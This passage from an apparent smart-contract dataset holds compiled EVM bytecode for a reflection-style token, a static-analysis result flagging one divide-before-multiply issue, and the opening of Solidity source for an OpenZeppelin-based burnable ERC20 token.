008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806006546105e091906136ad565b600681905550826007546105f491906135cc565b600781905550505050565b60606008805461060e90613769565b80601f016020809104026020016040519081016040528092919081815260200182805461063a90613769565b80156106875780601f1061065c57610100808354040283529160200191610687565b820191906000526020600020905b81548152906001019060200180831161066a57829003601f168201915b5050505050905090565b60006106a561069e61180c565b848461186c565b6001905092915050565b6000600754905090565b60006a52b7d2dcc80cd2e4000000905090565b60006106d9848484611a37565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061072261180c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561079f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107969061349a565b60405180910390fd5b61083f846107ab61180c565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f561180c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461083a91906136ad565b61186c565b600190509392505050565b6000600654821115610891576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610888906133da565b60405180910390fd5b600061089b611f0f565b905080836108a99190613622565b915050919050565b6000600a60009054906101000a900460ff16905090565b600061096a6108d561180c565b8484600360006108e361180c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461096591906135cc565b61186c565b6001905092915050565b60006a52b7d2dcc80cd2e40000008311156109c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bb9061345a565b60405180910390fd5b816109e35760006109d484611814565b505050509050809150506109f9565b60006109ee84611814565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610a9a57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610ae5565b610ae2600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461084a565b90505b919050565b610af261180c565b73ffffffffffffffffffffffffffffffffffffffff16610b10610c2a565b73ffffffffffffffffffffffffffffffffffffffff1614610b66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5d906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610c6290613769565b80601f0160208091040260200160405190810160405280929190818152602001828054610c8e90613769565b8015610cdb5780601f10610cb057610100808354040283529160200191610cdb565b820191906000526020600020905b815481529060010190602001808311610cbe57829003601f168201915b5050505050905090565b600060036000610cf361180c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da49061355a565b60405180910390fd5b610e4d610db861180c565b848460036000610dc661180c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e4891906136ad565b61186c565b6001905092915050565b6000610e6b610e6461180c565b8484611a37565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610ed361180c565b73ffffffffffffffffffffffffffffffffffffffff16610ef1610c2a565b73ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e906134ba565b60405180910390fd5b6064816a52b7d2dcc80cd2e4000000610f609190613653565b610f6a9190613622565b600b8190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61100261180c565b73ffffffffffffffffffffffffffffffffffffffff16611020610c2a565b73ffffffffffffffffffffffffffffffffffffffff1614611076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106d906134ba565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa9061343a565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111d757611193600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461084a565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61129d61180c565b73ffffffffffffffffffffffffffffffffffffffff166112bb610c2a565b73ffffffffffffffffffffffffffffffffffffffff1614611311576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611308906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611381576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611378906133fa565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61144661180c565b73ffffffffffffffffffffffffffffffffffffffff16611464610c2a565b73ffffffffffffffffffffffffffffffffffffffff16146114ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b1906134ba565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153d9061343a565b60405180910390fd5b60005b600580549050811015611808578173ffffffffffffffffffffffffffffffffffffffff16600582815481106115a7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117f5576005600160058054905061160291906136ad565b81548110611639577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061169e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060058054806117bb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611808565b80806118009061379b565b915050611549565b5050565b600033905090565b600080600080600080600061182888611f33565b915091506000611836611f0f565b905060008060006118488c8686611f70565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d39061351a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561194c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119439061341a565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a2a919061357a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9e906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0e906133ba565b60405180910390fd5b60008111611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b51906134da565b60405180910390fd5b611b62610c2a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bd05750611ba0610c2a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c1b57600b54811115611c1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c119061347a565b60405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611cbe5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611cd357611cce838383611fb9565b611f0a565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d765750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d8b57611d868383836121f7565b611f09565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e2f5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e4457611e3f838383612435565b611f08565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ee65750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611efb57611ef68383836125e5565b611f07565b611f06838383612435565b5b5b5b5b505050565b6000806000611f1c6128b1565b915091508082611f2c9190613622565b9250505090565b60008060006005606485611f479190613622565b611f519190613653565b905060008185611f6191906136ad565b90508082935093505050915091565b6000806000808487611f829190613653565b905060008587611f929190613653565b905060008183611fa291906136ad565b905082818395509550955050505093509350939050565b6000806000806000611fca86611814565b9450945094509450945085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201f91906136ad565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ad91906136ad565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b91906135cc565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121888382612c0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121e5919061357a565b60405180910390a35050505050505050565b600080600080600061220886611814565b9450945094509450945084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225d91906136ad565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122eb91906135cc565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237991906135cc565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c68382612c0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612423919061357a565b60405180910390a35050505050505050565b600080600080600061244686611814565b9450945094509450945084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249b91906136ad565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252991906135cc565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125768382612c0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125d3919061357a565b60405180910390a35050505050505050565b60008060008060006125f686611814565b9450945094509450945085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264b91906136ad565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d991906136ad565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461276791906135cc565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127f591906135cc565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128428382612c0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161289f919061357a565b60405180910390a35050505050505050565b6000806000600654905060006a52b7d2dcc80cd2e4000000905060005b600580549050811015612bc35782600160006005848154811061291a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612a2e57508160026000600584815481106129c6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612a4e576006546a52b7d2dcc80cd2e400000094509450505050612c07565b6001600060058381548110612a8c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612afd91906136ad565b92506002600060058381548110612b3d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612bae91906136ad565b91508080612bbb9061379b565b9150506128ce565b506a52b7d2dcc80cd2e4000000600654612bdd9190613622565b821015612bfe576006546a52b7d2dcc80cd2e4000000935093505050612c07565b81819350935050505b9091565b81600654612c1991906136ad565b60068190555080600754612c2d91906135cc565b6007819055505050565b600081359050612c4681613882565b92915050565b600081359050612c5b81613899565b92915050565b600081359050612c70816138b0565b92915050565b600060208284031215612c8857600080fd5b6000612c9684828501612c37565b91505092915050565b60008060408385031215612cb257600080fd5b6000612cc085828601612c37565b9250506020612cd185828601612c37565b9150509250929050565b600080600060608486031215612cf057600080fd5b6000612cfe86828701612c37565b9350506020612d0f86828701612c37565b9250506040612d2086828701612c61565b9150509250925092565b60008060408385031215612d3d57600080fd5b6000612d4b85828601612c37565b9250506020612d5c85828601612c61565b9150509250929050565b600060208284031215612d7857600080fd5b6000612d8684828501612c61565b91505092915050565b60008060408385031215612da257600080fd5b6000612db085828601612c61565b9250506020612dc185828601612c4c565b9150509250929050565b612dd4816136e1565b82525050565b612de3816136f3565b82525050565b6000612df4826135b0565b612dfe81856135bb565b9350612e0e818560208601613736565b612e1781613871565b840191505092915050565b6000612e2f6023836135bb565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612e95602a836135bb565b91507f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008301527f65666c656374696f6e73000000000000000000000000000000000000000000006020830152604082019050919050565b6000612efb6026836135bb565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612f616022836135bb565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612fc7601b836135bb565b91507f4163636f756e7420697320616c7265616479206578636c7564656400000000006000830152602082019050919050565b6000613007601f836135bb565b91507f416d6f756e74206d757374206265206c657373207468616e20737570706c79006000830152602082019050919050565b60006130476028836135bb565b91507f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008301527f78416d6f756e742e0000000000000000000000000000000000000000000000006020830152604082019050919050565b60006130ad6028836135bb565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006131136020836135bb565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006131536029836135bb565b91507f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008301527f7468616e207a65726f00000000000000000000000000000000000000000000006020830152604082019050919050565b60006131b96025836135bb565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061321f6024836135bb565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613285602c836135bb565b91507f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008301527f6869732066756e6374696f6e00000000000000000000000000000000000000006020830152604082019050919050565b60006132eb6025836135bb565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61334d8161371f565b82525050565b61335c81613729565b82525050565b60006020820190506133776000830184612dcb565b92915050565b60006020820190506133926000830184612dda565b92915050565b600060208201905081810360008301526133b28184612de9565b905092915050565b600060208201905081810360008301526133d381612e22565b9050919050565b600060208201905081810360008301526133f381612e88565b9050919050565b6000602082019050818103600083015261341381612eee565b9050919050565b6000602082019050818103600083015261343381612f54565b9050919050565b6000602082019050818103600083015261345381612fba565b9050919050565b6000602082019050818103600083015261347381612ffa565b9050919050565b600060208201905081810360008301526134938161303a565b9050919050565b600060208201905081810360008301526134b3816130a0565b9050919050565b600060208201905081810360008301526134d381613106565b9050919050565b600060208201905081810360008301526134f381613146565b9050919050565b60006020820190508181036000830152613513816131ac565b9050919050565b6000602082019050818103600083015261353381613212565b9050919050565b6000602082019050818103600083015261355381613278565b9050919050565b60006020820190508181036000830152613573816132de565b9050919050565b600060208201905061358f6000830184613344565b92915050565b60006020820190506135aa6000830184613353565b92915050565b600081519050919050565b600082825260208201905092915050565b60006135d78261371f565b91506135e28361371f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613617576136166137e4565b5b828201905092915050565b600061362d8261371f565b91506136388361371f565b92508261364857613647613813565b5b828204905092915050565b600061365e8261371f565b91506136698361371f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136a2576136a16137e4565b5b828202905092915050565b60006136b88261371f565b91506136c38361371f565b9250828210156136d6576136d56137e4565b5b828203905092915050565b60006136ec826136ff565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015613754578082015181840152602081019050613739565b83811115613763576000848401525b50505050565b6000600282049050600182168061378157607f821691505b6020821081141561379557613794613842565b5b50919050565b60006137a68261371f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156137d9576137d86137e4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61388b816136e1565b811461389657600080fd5b50565b6138a2816136f3565b81146138ad57600080fd5b50565b6138b98161371f565b81146138c457600080fd5b5056fea2646970667358221220e4141949c61ef70b0f998925e04d76406d5839a49a28e88d4e1c02604ce3cfa364736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
8,571
0x1e13fd454ada4e2a7db75447a0aea6446712028c
/** *Submitted for verification at Etherscan.io on 2019-07-09 */ pragma solidity ^0.5.0; /** * @notes All the credits go to the fantastic OpenZeppelin project and its community, see https://github.com/OpenZeppelin/openzeppelin-solidity * This contract was generated and deployed using https://tokens.kawatta.com */ /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */ library SafeMath { /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn&#39;t required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev Transfer token to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowances[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowances[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowances[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses. * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0), "ERC20: transfer to the zero address"); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses&#39; tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender&#39;s allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowances[account][msg.sender].sub(value)); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance. * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies 